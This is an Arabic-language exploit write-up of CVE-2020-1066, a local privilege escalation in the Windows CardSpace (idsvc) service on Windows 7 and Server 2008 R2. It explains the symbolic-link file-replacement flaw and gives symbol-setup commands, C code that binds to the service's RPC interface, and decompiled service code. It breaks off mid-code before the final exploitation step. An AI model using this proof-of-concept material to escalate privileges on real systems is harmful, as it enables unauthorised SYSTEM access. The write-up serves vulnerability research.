
استغلال تصعيد الامتيازات المحلية لثغرة CVE-2020-1066 التي تستهدف نظامي Windows 7 وServer 2008 R2. يستغل استبدال الملفات التعسفي عبر خدمة Windows CardSpace (idsvc) من خلال إساءة استخدام الروابط الرمزية لتحقيق تنفيذ كود بمستوى SYSTEM.
هذه الثغرة هي ثغرة رفع صلاحيات محلية عن طريق استبدال ملفات تعسفية ناتجة عن عدم معالجة خدمة Windows CardSpace لكائنات الروابط الرمزية بشكل صحيح
إن PoC الخاص بالمؤلف مخصص لأغراض البحث فقط، وإذا استخدم القارئ هذا الـ PoC للقيام بأي سلوكيات أخرى، فلا علاقة للمؤلف بذلك
[toc]
ينطبق على المستخدمين العاديين لنظامي Windows 7 وWindows Server 2008 R2 وعلى مستخدمي IIS الذين قاموا بتمكين إعدادات خاصة
الكاتب هو مقدّم الثغرة، وقد تم تحديث الثغرة في مايو 2020. تأتي الثغرة من خدمة Windows CardSpace (المشار إليها اختصارًا بـ idsvc) في نظامي Windows 7 وWindows Server 2008 R2. يمكن لأي مستخدم تشغيل هذه الخدمة، وهي تعمل بصلاحيات System، وتوفر استدعاءات RPC عامة. عند قيام المستخدم بتشغيل نقل ملف تكوين محدد يقع في دليل متغير البيئة %APPDATA% الخاص بالمستخدم الحالي، فإن الخدمة لا تتعامل مع كائنات الروابط الرمزية بشكل صحيح، مما يؤدي إلى رفع صلاحيات محلي عن طريق استبدال ملفات تعسفية. هذا هو سبب الثغرة.
نظرًا لأن الأمر يستند إلى استدعاءات RPC، يلزم أولاً الحصول على MIDL الخاص بواجهة الخدمة حتى يمكن كتابة تعليمات برمجية محلية للتفاعل معها. يوصي الكاتب باستخدام أداة RpcView، ويمكن الرجوع إلى سلسلة مقالات استكشاف ثغرات RPC للحصول على الطريقة المحددة. أولاً، استخدم الطريقة التالية للحصول على ملف الرموز وتكوين الرموز داخل الأداة، وبعد ذلك يمكنك تفكيك ملف IDL لواجهة RPC. الطريقة المحددة هي كما يلي``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

من خلال الأداة يتم الحصول على 3 بيانات مهمة، وهي نوع بروتوكول Rpc واسم البروتوكول وملف تعريف العميل لواجهة البروتوكول (ملف .c الناتج عن تجميع ملف IDL، انظر مربع النص Decompilation على اليسار)، وبهذه الطريقة يمكن ربط خدمة Rpc بالطريقة التالية.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
من خلال فك تجميع كود خدمة idsvc يتم الحصول على المشروع المحدد (انظر المشاريع ذات الصلة). تقوم خدمة idsvc بربط المعالج العام RequestFactory.ProcessNewRequest الخاص بواجهة RPC العامة، وبالنسبة للاستدعاء الأول، أي عندما تكون قيمة parentRequestHandle هي 0، يتم استدعاء فئة CreateClientRequestInstance لمعالجة الاستدعاء الراجع، بينما تتم معالجة العمليات اللاحقة بواسطة فئة CreateUIAgentRequestInstance.``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
خدمة idsvc ستعكس الفئة المقابلة لمعالجة الاستدعاء بناءً على اسم الفئة في حقل RpcRequest->Type، وهنا يستخدم الـpoc فئة "ManageRequest"؛```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
قم بتشغيل دالة DoProcessRequest لمثيل ManageRequest لمعالجة الطلب، مع تخطي الخطوات الوسيطة، وأخيرًا استدعاء StoreConnection.CreateDefaultDataSources() للوصول إلى نقطة الاستغلال.
أثناء التفاعل مع الخدمة، تقوم الخدمة بانتحال هوية المستخدم (Impersonate Client) وتحصل على ملف تعريف المستخدم، والذي يكون افتراضيًا في الدليل المحدد بواسطة متغير البيئة %APPDATA%. بالنسبة لمستخدمي IIS، في الحالة الخاصة، لا يتم تحميل ملف التعريف افتراضيًا، ولا يمكن تحقيق ذلك إلا بتمكين الإعداد التالي: انقر على تجمع التطبيقات -> الإعدادات المتقدمة.
```
//构造函数
protected StoreConnection(WindowsIdentity identity)